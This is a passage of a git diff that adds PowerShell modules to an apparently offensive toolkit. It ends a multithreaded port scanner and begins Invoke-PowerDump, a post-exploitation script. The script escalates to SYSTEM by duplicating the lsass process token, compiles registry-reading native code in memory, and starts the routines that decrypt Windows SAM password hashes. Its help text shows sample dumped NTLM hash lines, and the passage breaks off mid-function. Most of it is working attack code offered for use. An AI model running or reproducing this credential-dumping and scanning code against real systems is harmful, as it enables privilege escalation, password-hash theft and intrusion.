1524,2040,4321,5802,38292,49400,1084,1600,2048,2111,3006,6547,6699,9111,16080, + 555,667,720,801,1443,1533,2106,5560,6007,1090,1091,1114,1117,1119,1122,1131,1138, + 1151,1175,1199,1201,1271,1862,2323,2393,2394,2608,2725,2909,3003,3168,3221,3322, + 3324,3390,3517,3527,3800,3809,3814,3826,3869,3878,3889,3905,3914,3920,3945,3971, + 4004,4005,4279,4445,4550,4567,4848,4900,5033,5080,5087,5221,5440,5544,5678,5730, + 5811,5815,5850,5862,5906,5907,5950,5952,6025,6510,6565,6567,6689,6692,6779,6792, + 6839,7025,7496,7676,7800,7920,7921,7999,8022,8042,8045,8093,8099,8200,8290,8292, + 8300,8383,9003,9081,9099,9200,9418,9575,9878,9898,9917,10003,10180,10215,11111, + 12174,12265,14441,15004,16000,16113,17877,18040,18101,19350,25735,26214,27356, + 30951,32783,32785,40911,41511,44176,44501,49161,49167,49176,50300,50500,52673, + 52848,54045,54328,55056,56737,57797,60443,70,417,714,722,777,981,1009,2022,4224, + 4998,6346,301,524,668,765,2041,5999,10082,259,1007,1417,1434,1984,2038,2068,4343, + 6009,7004,44443,109,687,726,911,1461,2035,4125,6006,7201,9103,125,481,683,903, + 1011,1455,2013,2043,2047,6668,6669,256,406,843,2042,2045,5998,9929,31337,44442, + 1092,1095,1102,1105,1113,1121,1123,1126,1130,1132,1137,1141,1145,1147,1149,1154, + 1164,1165,1166,1174,1185,1187,1192,1198,1213,1216,1217,1233,1236,1244,1259,1277, + 1287,1300,1301,1309,1322,1328,1556,1641,1688,1719,1721,1805,1812,1839,1875,1914, + 1971,1972,1974,2099,2170,2196,2200,2288,2366,2382,2557,2800,2910,2920,2968,3007, + 3013,3050,3119,3304,3307,3376,3400,3410,3514,3684,3697,3700,3824,3846,3848,3859, + 3863,3870,3872,3888,3907,3916,3931,3941,3957,3963,3968,3969,3972,3990,3993,3994, + 4009,4040,4080,4096,4143,4147,4200,4252,4430,4555,4600,4658,4875,4949,5040,5063, + 5074,5151,5212,5223,5242,5279,5339,5353,5501,5807,5812,5818,5823,5868,5869,5899, + 5905,5909,5914,5918,5938,5940,5968,5981,6051,6060,6068,6203,6247,6500,6504,6520, + 6550,6600) + $numPorts-- + $portList.AddRange($topPortList[0..$numPorts]) + } + + function Parse-Ports + { + Param ( + [Parameter(Mandatory = $True)] [String] $Ports, + [Parameter(Mandatory = $True)] $pList + ) + + foreach ($pRange in $Ports.Split(",")) + { + + #-1 is a special case for ping + if ($pRange -eq "-1") + { + $pList.Add([int]$pRange) + } + elseif ($pRange.Contains("-")) + { + [int[]] $range = $pRange.Split("-") + if ($range.Count -ne 2 -or $pRange.Split("-")[0] -eq "" -or $pRange.split("-")[1] -eq "") + { + throw "Invalid port range" + } + + $pList.AddRange($range[0]..$range[1]) + } + else + { + $pList.Add([int]$pRange) + } + + } + foreach ($p in $pList) + { + if ($p -lt -1 -or $p -gt 65535) + { + throw "Port $p out of range" + } + } + } + + function Parse-IpPorts + { + Param ( + [Parameter(Mandatory = $True)] [String] $PortFile + ) + + Get-Content $PortFile | ForEach-Object { + Parse-Ports -Ports $_ -pList $portList + } + } + + function Remove-Ports + { + Param ( + [Parameter(Mandatory = $True)] [string] $ExcludedPorts + ) + + [int[]] $ExcludedPorts = $ExcludedPorts.Split(",") + + foreach ($x in $ExcludedPorts) + { + $portList.Remove($x) + } + } + + function Write-PortscanOut + { + Param ( + [Parameter(Mandatory = $True, ParameterSetName="Comment")] [string] $comment, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] [string] $outhost, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] [bool] $isUp, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] $openPorts, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] $closedPorts, + [Parameter(Mandatory = $True, ParameterSetName="HostOut")] $filteredPorts, + [Parameter()] [bool] $SkipDiscovery, + [Parameter()] [System.IO.StreamWriter] $grepStream, + [Parameter()] [System.Xml.XmlWriter] $xmlStream, + [Parameter()] [System.IO.StreamWriter] $readableStream + + ) + switch ($PSCmdlet.ParameterSetName) + { + "Comment" + { + + Write-Verbose $comment + + if ($grepStream) { + $grepStream.WriteLine("# " + $comment) + } + if ($xmlStream) { + $xmlStream.WriteComment($comment) + } + if ($readableStream) { + $readableStream.WriteLine($comment) + } + } + "HostOut" + { + $oPort = [string]::join(",", $openPorts.ToArray()) + $cPort = [string]::join(",", $closedPorts.ToArray()) + $fPort = [string]::join(",", $filteredPorts.ToArray()) + + if ($grepStream) { + #for grepstream use tabs - can be ugly, but easier for regex + if ($isUp -and !$SkipDiscovery) { + $grepStream.writeline("Host: $outhost`tStatus: Up") + } + if ($isUp -or $SkipDiscovery) { + if ($oPort -ne "") { + $grepStream.writeline("Host: $outhost`tOpen Ports: $oPort") + } + if ($cPort -ne "") { + $grepStream.writeline("Host: $outhost`tClosed Ports: $cPort") + } + if ($fPort -ne "") { + $grepStream.writeline("Host: $outhost`tFiltered Ports: $fPort") + } + } + elseif (!$SkipDiscovery) { + $grepStream.writeline("Host: $outhost`tStatus: Down") + } + } + if ($xmlStream) { + $xmlStream.WriteStartElement("Host") + + $xmlStream.WriteAttributeString("id", $outhost) + if (!$SkipDiscovery) { + if ($isUp) { + $xmlStream.WriteAttributeString("Status", "Up") + } + else { + $xmlStream.WriteAttributeString("Status", "Downs") + } + } + + $xmlStream.WriteStartElement("Ports") + foreach($p in $openPorts) { + $xmlStream.writestartElement("Port") + $xmlStream.WriteAttributeString("id", [string]$p) + $xmlStream.WriteAttributeString("state", "open") + $xmlStream.WriteEndElement() + + } + foreach ($p in $closedPorts) { + $xmlStream.writestartElement("Port") + $xmlStream.WriteAttributeString("id", [string]$p) + $xmlStream.WriteAttributeString("state", "closed") + $xmlStream.WriteEndElement() + } + foreach ($p in $filteredPorts) { + $xmlStream.writestartElement("Port") + $xmlStream.WriteAttributeString("id", [string]$p) + $xmlStream.WriteAttributeString("state", "filtered") + $xmlStream.WriteEndElement() + } + + $xmlStream.WriteEndElement() + $xmlStream.WriteEndElement() + } + if ($readableStream) { + $readableStream.writeline("Porscan.ps1 scan report for $outhost") + if ($isUp) { + $readableStream.writeline("Host is up") + } + + if ($isUp -or $SkipDiscovery) { + + $readableStream.writeline(("{0,-10}{1,0}" -f "PORT", "STATE")) + + [int[]]$allports = $openPorts + $closedPorts + $filteredPorts + foreach($p in ($allports| Sort-Object)) + { + if ($openPorts.Contains($p)) { + $readableStream.writeline(("{0,-10}{1,0}" -f $p, "open")) + } + elseif ($closedPorts.Contains($p)) { + $readableStream.writeline(("{0,-10}{1,0}" -f $p, "closed")) + } + elseif ($filteredPorts.Contains($p)) { + $readableStream.writeline(("{0,-10}{1,0}" -f $p, "filtered")) + } + } + + } + elseif(!$SkipDiscovery) { + $readableStream.writeline("Host is Down") + } + $readableStream.writeline("") + } + } + } + } + + #function for Powershell v2.0 to work + function Convert-SwitchtoBool + { + Param ( + [Parameter(Mandatory = $True)] $switchValue + ) + If ($switchValue) { + return $True + } + return $False + } + + try + { + + [bool] $SkipDiscovery = Convert-SwitchtoBool ($SkipDiscovery) + [bool] $PingOnly = Convert-SwitchtoBool ($PingOnly) + [bool] $quiet = Convert-SwitchtoBool ($quiet) + [bool] $ForceOverwrite = Convert-SwitchtoBool ($ForceOverwrite) + + ######### + #parse arguments + ######### + + [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath + + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") + { + foreach($h in $Hosts) + { + Parse-Hosts($h) | Out-Null + } + } + else + { + Parse-ILHosts($HostFile) | Out-Null + } + if($ExcludeHosts) + { + Exclude-Hosts($ExcludeHosts) + } + if (($TopPorts -and $Ports) -or ($TopPorts -and $PortFile)) + { + throw "Cannot set topPorts with other specific ports" + } + if($Ports) + { + Parse-Ports -Ports $Ports -pList $portList | Out-Null + } + if($PortFile) + { + Parse-IpPorts($PortFile) | Out-Null + } + if($portList.Count -eq 0) + { + if ($TopPorts) + { + Get-TopPort($TopPorts) | Out-Null + } + else + { + #if the ports still aren't set, give the deftault, top 50 ports + Get-TopPort(50) | Out-Null + } + } + if ($ExcludedPorts) + { + Remove-Ports -ExcludedPorts $ExcludedPorts | Out-Null + } + + if($T) + { + switch ($T) + { + 5 {$nHosts=30; $Threads = 1000; $Timeout = 750 } + 4 {$nHosts=25; $Threads = 1000; $Timeout = 1200 } + 3 {$nHosts=20; $Threads = 100; $Timeout = 2500 } + 2 {$nHosts=15; $Threads = 32; $Timeout = 3000 } + 1 {$nHosts=10; $Threads = 32; $Timeout = 5000 } + default { + throw "Invalid T parameter" + } + } + } + + $grepStream = $null + $xmlStream = $null + $readableStream = $null + + if($AllformatsOut) + { + if ($GrepOut -or $XmlOut -or $ReadableOut) { + Write-Warning "Both -oA specified with other output... going to ignore -oG/-oN/-oX" + } + $GrepOut = $AllformatsOut + ".gnmap" + $XmlOut = $AllformatsOut + ".xml" + $ReadableOut = $AllformatsOut + ".nmap" + } + if ($GrepOut) { + if (!$ForceOverwrite -and (Test-Path $GrepOut)) { + throw "Error: $AllformatsOut already exists. Either delete the file or specify the -f flag" + } + $grepStream = [System.IO.StreamWriter] $GrepOut + } + if ($ReadableOut) { + if (!$ForceOverwrite -and (Test-Path $ReadableOut)) { + throw "Error: $ReadableOut already exists. Either delete the file or specify the -f flag" + } + $readableStream = [System.IO.StreamWriter] $ReadableOut + } + if ($XmlOut) { + if (!$ForceOverwrite -and (Test-Path $XmlOut)) { + throw "Error: $XmlOut already exists. Either delete the file or specify the -f flag" + } + + $xmlStream = [System.xml.xmlwriter]::Create([string]$XmlOut) + $xmlStream.WriteStartDocument() + $xmlStream.WriteStartElement("Portscanrun") + $xmlStream.WriteAttributeString("version", $version) + + } + + Parse-Ports -Ports $DiscoveryPorts -pList $hostPortList | Out-Null + + $startdate = Get-Date + $myInvocationLine = $PSCmdlet.MyInvocation.Line + $startMsg = "Invoke-Portscan.ps1 v$version scan initiated $startdate as: $myInvocationLine" + + #TODO deal with output + Write-PortscanOut -comment $startMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream + + #converting back from int array gives some argument error checking + $sPortList = [string]::join(",", $portList) + $sHostPortList = [string]::join(",", $hostPortList) + + ######## + #Port Scan Code - run on a per host basis + ######## + $portScanCode = { + param ( + [Parameter( Mandatory = $True)] [string] $thost, + [Parameter( Mandatory = $True)][bool] $SkipDiscovery, + [Parameter( Mandatory = $True)][bool] $PingOnly, + [Parameter( Mandatory = $True)][int] $Timeout, + [Parameter( Mandatory = $True)] $PortList, + [Parameter( Mandatory = $True)] $hostPortList, + [Parameter( Mandatory = $True)][int] $maxthreads) + Process + { + $openPorts = New-Object System.Collections.ArrayList + $closedPorts = New-Object System.Collections.ArrayList + $filteredPorts = New-Object System.Collections.ArrayList + + $sockets = @{} + $timeouts = New-Object Hashtable + + #set maximum $async threads + $fThreads = New-Object int + $aThreads = New-Object int + [System.Threading.ThreadPool]::GetMaxThreads([ref]$fThreads, [ref]$aThreads) | Out-Null + [System.Threading.ThreadPool]::SetMaxThreads($fthreads,$maxthreads) | Out-Null + + function New-ScriptBlockCallback { + param( + [parameter(Mandatory=$true)] + [ValidateNotNullOrEmpty()] + [scriptblock]$Callback + ) + + #taken from http://www.nivot.org/blog/post/2009/10/09/PowerShell20AsynchronousCallbacksFromNET + if (-not ("CallbackEventBridge" -as [type])) { + Add-Type @" + using System; + + public sealed class CallbackEventBridge + { + public event AsyncCallback CallbackComplete = delegate { }; + + private CallbackEventBridge() {} + + private void CallbackInternal(IAsyncResult result) + { + CallbackComplete(result); + } + + public AsyncCallback Callback + { + get { return new AsyncCallback(CallbackInternal); } + } + + public static CallbackEventBridge Create() + { + return new CallbackEventBridge(); + } + } +"@ + } + + $bridge = [CallbackEventBridge]::Create() + Register-ObjectEvent -InputObject $bridge -EventName CallbackComplete -Action $Callback | Out-Null + + $bridge.Callback + + } + + function Test-Port { + + Param ( + [Parameter(Mandatory = $True)] [String] $h, + [Parameter(Mandatory = $True)] [int] $p, + [Parameter(Mandatory = $True)] [int] $timeout + ) + + try { + $pAddress = [System.Net.IPAddress]::Parse($h) + $sockets[$p] = new-object System.Net.Sockets.TcpClient $pAddress.AddressFamily + + } + catch { + #we're assuming this is a host name + $sockets[$p] = new-object System.Net.Sockets.TcpClient + } + + + $scriptBlockAsString = @" + + #somewhat of a race condition with the timeout, but I don't think it matters + if ( `$sockets[$p] -ne `$NULL) + { + if (!`$timeouts[$p].Disposed) { + `$timeouts[$p].Dispose() + } + + `$status = `$sockets[$p].Connected; + if (`$status -eq `$True) + { + #Write-Output "$p is open" + `$openPorts.Add($p) + } + else + { + #Write-Output "$p is closed" + `$closedPorts.Add($p) + + } + `$sockets[$p].Close(); + + `$sockets.Remove($p) + } +"@ + $timeoutCallback = @" + #Write-Output "$p is filtered" + `$sockets[$p].Close() + if (!`$timeouts[$p].Disposed) { + `$timeouts[$p].Dispose() + `$filteredPorts.Add($p) + } + `$sockets.Remove($p) +"@ + + $timeoutCallback = [scriptblock]::Create($timeoutCallback) + + $timeouts[$p] = New-Object System.Timers.Timer + Register-ObjectEvent -InputObject $timeouts[$p] -EventName Elapsed -Action $timeoutCallback | Out-Null + $timeouts[$p].Interval = $timeout + $timeouts[$p].Enabled = $true + + $myscriptblock = [scriptblock]::Create($scriptBlockAsString) + $x = $sockets[$p].beginConnect($h, $p,(New-ScriptBlockCallback($myscriptblock)) , $null) + + } + + function PortScan-Alive + { + Param ( + [Parameter(Mandatory = $True)] [String] $h + ) + + Try + { + + #ping + if ($hostPortList.Contains(-1)) + { + $ping = new-object System.Net.NetworkInformation.Ping + $pResult = $ping.send($h) + if ($pResult.Status -eq "Success") + { + return $True + } + } + foreach($Port in $hostPortList) + { + if ($Port -ne -1) + { + Test-Port -h $h -p $Port -timeout $Timeout + } + } + + do { + Start-Sleep -Milli 100 + if (($openPorts.Count -gt 0) -or ($closedPorts.Count -gt 0)) { + return $True + } + } + While ($sockets.Count -gt 0) + + } + Catch + { + Write-Error "Exception trying to host scan $h" + Write-Error $_.Exception.Message; + } + + return $False + } + + function Portscan-Port + { + Param ( + [Parameter(Mandatory = $True)] [String] $h + ) + + [string[]]$Ports = @() + + foreach($Port in $Portlist) + { + Try + { + Test-Port -h $h -p $Port -timeout $Timeout + } + Catch + { + Write-Error "Exception trying to scan $h port $Port" + Write-Error $_.Exception.Message; + } + } + } + [bool] $hostResult = $False + + if(!$SkipDiscovery) + { + [bool] $hostResult = PortScan-Alive $thost + $openPorts.clear() + $closedPorts.clear() + $filteredPorts.Clear() + } + if((!$PingOnly) -and ($hostResult -or $SkipDiscovery)) + { + Portscan-Port $thost + } + while ($sockets.Count -gt 0) { + Start-Sleep -Milli 500 + } + + return @($hostResult, $openPorts, $closedPorts, $filteredPorts) + } + } + + # the outer loop is to flush the loop. + # Otherwise Get-Job | Wait-Job could clog, etc + + [int]$saveIteration = 0 + [int]$computersDone=0 + [int]$upHosts=0 + while (($saveIteration * $SyncFreq) -lt $hostList.Count) + { + + Get-Job | Remove-Job -Force + $sIndex = ($saveIteration*$SyncFreq) + $eIndex = (($saveIteration+1)*$SyncFreq)-1 + + foreach ($iHost in $hostList[$sIndex..$eIndex]) + { + $ctr = @(Get-Job -state Running) + while ($ctr.Count -ge $nHosts) + { + Start-Sleep -Milliseconds $SleepTimer + $ctr = @(Get-Job -state Running) + } + + $computersDone++ + if(!$noProgressMeter) + { + Write-Progress -status "Port Scanning" -Activity $startMsg -CurrentOperation "starting computer $computersDone" -PercentComplete ($computersDone / $hostList.Count * 100) + } + + Start-Job -ScriptBlock $portScanCode -Name $iHost -ArgumentList @($iHost, $SkipDiscovery, $PingOnly, $Timeout, $portList, $hostPortList, $Threads) | Out-Null + } + + Get-Job | Wait-Job | Out-Null + + foreach ($job in Get-Job) + { + $jobOut = @(Receive-Job $job) + [bool]$hostUp = $jobOut[0] + $jobName = $job.Name + + $openPorts = $jobOut[1] + $closedPorts = $jobOut[2] + $filteredPorts = $jobOut[3] + + if($hostUp) { + $upHosts ++ + } + + if (!$quiet) + { + $hostDate = Get-Date + $hostObj = New-Object System.Object + $hostObj | Add-Member -MemberType Noteproperty -Name Hostname -Value $jobName + + $hostObj | Add-Member -MemberType Noteproperty -Name alive -Value $hostUp + $hostObj | Add-Member -MemberType Noteproperty -Name openPorts -Value $openPorts + $hostObj | Add-Member -MemberType Noteproperty -Name closedPorts -Value $closedPorts + $hostObj | Add-Member -MemberType Noteproperty -Name filteredPorts -Value $filteredPorts + $hostObj | Add-Member -MemberType NoteProperty -Name finishTime -Value $hostDate + + $scannedHostList += $hostobj + } + + Write-PortscanOut -outhost $jobName -isUp $hostUp -openPorts $openPorts -closedPorts $closedPorts -filteredPorts $filteredPorts -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream -SkipDiscovery $SkipDiscovery + } + + if ($grepStream) { + $grepStream.flush() + } + if ($xmlStream) { + $xmlStream.flush() + } + if($readableStream) { + $readableStream.flush() + } + + $saveIteration ++ + } + + $enddate = Get-Date + $totaltime = ($enddate - $startdate).TotalSeconds + $endMsg = "Port scan complete at $enddate ($totaltime seconds)" + if (!$SkipDiscovery) { + $endMsg += ", $upHosts hosts are up" + } + + Write-PortscanOut -comment $endMsg -grepStream $grepStream -xmlStream $xmlStream -readableStream $readableStream + + if($grepStream) { + $grepStream.Close() + } + if ($xmlStream) { + $xmlStream.Close() + } + if($readableStream) { + $readableStream.Close() + } + + return $scannedHostList + + } + Catch + { + Write-Error $_.Exception.Message; + } + } +} diff --git a/Modules/Invoke-PowerDump.ps1 b/Modules/Invoke-PowerDump.ps1 new file mode 100644 index 0000000..dec03c3 --- /dev/null +++ b/Modules/Invoke-PowerDump.ps1 @@ -0,0 +1,497 @@ +# Pulled from darkoperator's Posh-SecMod: +# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1 +function Invoke-PowerDump +{ + <# + .SYNOPSIS + Dumps hashes from the local system. Note: administrative privileges required. + .DESCRIPTION + Generate a command for dumping hashes from a Windows System PowerShell.exe -command + Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM + and execute a hashdump by reading the hashes from the registry. + .EXAMPLE + $enc = Get-PostHashdumpScript + C:\PS>powershell.exe -command $enc + Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0::: + Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519::: + HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e::: + Executes the compressed command generated by the function and dumps the windows hashes from the registry. + + .NOTES + PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K) + Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx + #> + +$sign = @" +using System; +using System.Runtime.InteropServices; +public static class priv +{ + [DllImport("shell32.dll")] + public static extern bool IsUserAnAdmin(); +} +"@ + $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru + function ElevatePrivs + { +$signature = @" + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } + + public const int SE_PRIVILEGE_ENABLED = 0x00000002; + public const int TOKEN_QUERY = 0x00000008; + public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); + + public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; + public const int ANYSIZE_ARRAY = 1; + + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public UInt32 HighPart; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID_AND_ATTRIBUTES { + public LUID Luid; + public UInt32 Attributes; + } + + + public struct TOKEN_PRIVILEGES { + public UInt32 PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] + public LUID_AND_ATTRIBUTES [] Privileges; + } + + [DllImport("advapi32.dll", SetLastError=true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int + SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + + + [DllImport("advapi32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool SetThreadToken( + IntPtr PHThread, + IntPtr Token + ); + + [DllImport("advapi32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, + UInt32 DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); + + [DllImport("kernel32.dll", ExactSpelling = true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, + ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); +"@ + + $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) + if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { + Write-Warning "Run the Command as an Administrator" + Break + } + + Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv + $adjPriv = [AdjPriv.AdjPriv] + [long]$luid = 0 + + $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $luid + $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED + + $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + [IntPtr]$htoken = [IntPtr]::Zero + $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) + + + $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES + $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($retVal)) { + [System.Runtime.InteropServices.marshal]::GetLastWin32Error() + Break + } + + $process = (Get-Process -Name lsass) + #$process.name + [IntPtr]$hlsasstoken = [IntPtr]::Zero + $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) + + [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero + $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) + + $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) + + if(-not($retVal)) { + [System.Runtime.InteropServices.marshal]::GetLastWin32Error() + } + } + function LoadApi + { + $oldErrorAction = $global:ErrorActionPreference; + $global:ErrorActionPreference = "SilentlyContinue"; + $test = [PowerDump.Native]; + $global:ErrorActionPreference = $oldErrorAction; + if ($test) + { + # already loaded + return; + } +$code = @" +using System; +using System.Security.Cryptography; +using System.Runtime.InteropServices; +using System.Text; +namespace PowerDump +{ + public class Native + { + [DllImport("advapi32.dll", CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx( + int hKey, + string subKey, + int ulOptions, + int samDesired, + out int hkResult); + [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] + extern public static int RegEnumKeyEx( + int hkey, + int index, + StringBuilder lpName, + ref int lpcbName, + int reserved, + StringBuilder lpClass, + ref int lpcbClass, + out long lpftLastWriteTime); + [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] + extern public static int RegQueryInfoKey( + int hkey, + StringBuilder lpClass, + ref int lpcbClass, + int lpReserved, + out int lpcSubKeys, + out int lpcbMaxSubKeyLen, + out int lpcbMaxClassLen, + out int lpcValues, + out int lpcbMaxValueNameLen, + out int lpcbMaxValueLen, + out int lpcbSecurityDescriptor, + IntPtr lpftLastWriteTime); + [DllImport("advapi32.dll", SetLastError=true)] + public static extern int RegCloseKey( + int hKey); + } + } // end namespace PowerDump + public class Shift { + public static int Right(int x, int count) { return x >> count; } + public static uint Right(uint x, int count) { return x >> count; } + public static long Right(long x, int count) { return x >> count; } + public static ulong Right(ulong x, int count) { return x >> count; } + public static int Left(int x, int count) { return x << count; } + public static uint Left(uint x, int count) { return x << count; } + public static long Left(long x, int count) { return x << count; } + public static ulong Left(ulong x, int count) { return x << count; } + } +"@ + $provider = New-Object Microsoft.CSharp.CSharpCodeProvider + $dllName = [PsObject].Assembly.Location + $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters + $assemblies = @("System.dll", $dllName) + $compilerParameters.ReferencedAssemblies.AddRange($assemblies) + $compilerParameters.GenerateInMemory = $true + $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) + if($compilerResults.Errors.Count -gt 0) { + $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } + } + } + $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); + $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); + $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); + $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); + $odd_parity = @( + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + ); + function sid_to_key($sid) + { + $s1 = @(); + $s1 += [char]($sid -band 0xFF); + $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); + $s1 += $s1[0]; + $s1 += $s1[1]; + $s1 += $s1[2]; + $s2 = @(); + $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; + $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; + return ,((str_to_key $s1),(str_to_key $s2)); + } + function str_to_key($s) + { + $key = @(); + $key += [Shift]::Right([int]($s[0]), 1 ); + $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); + $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); + $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); + $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); + $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); + $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); + $key += $([int]($s[6]) -band 0x7F); + 0..7 | %{ + $key[$_] = [Shift]::Left($key[$_], 1); + 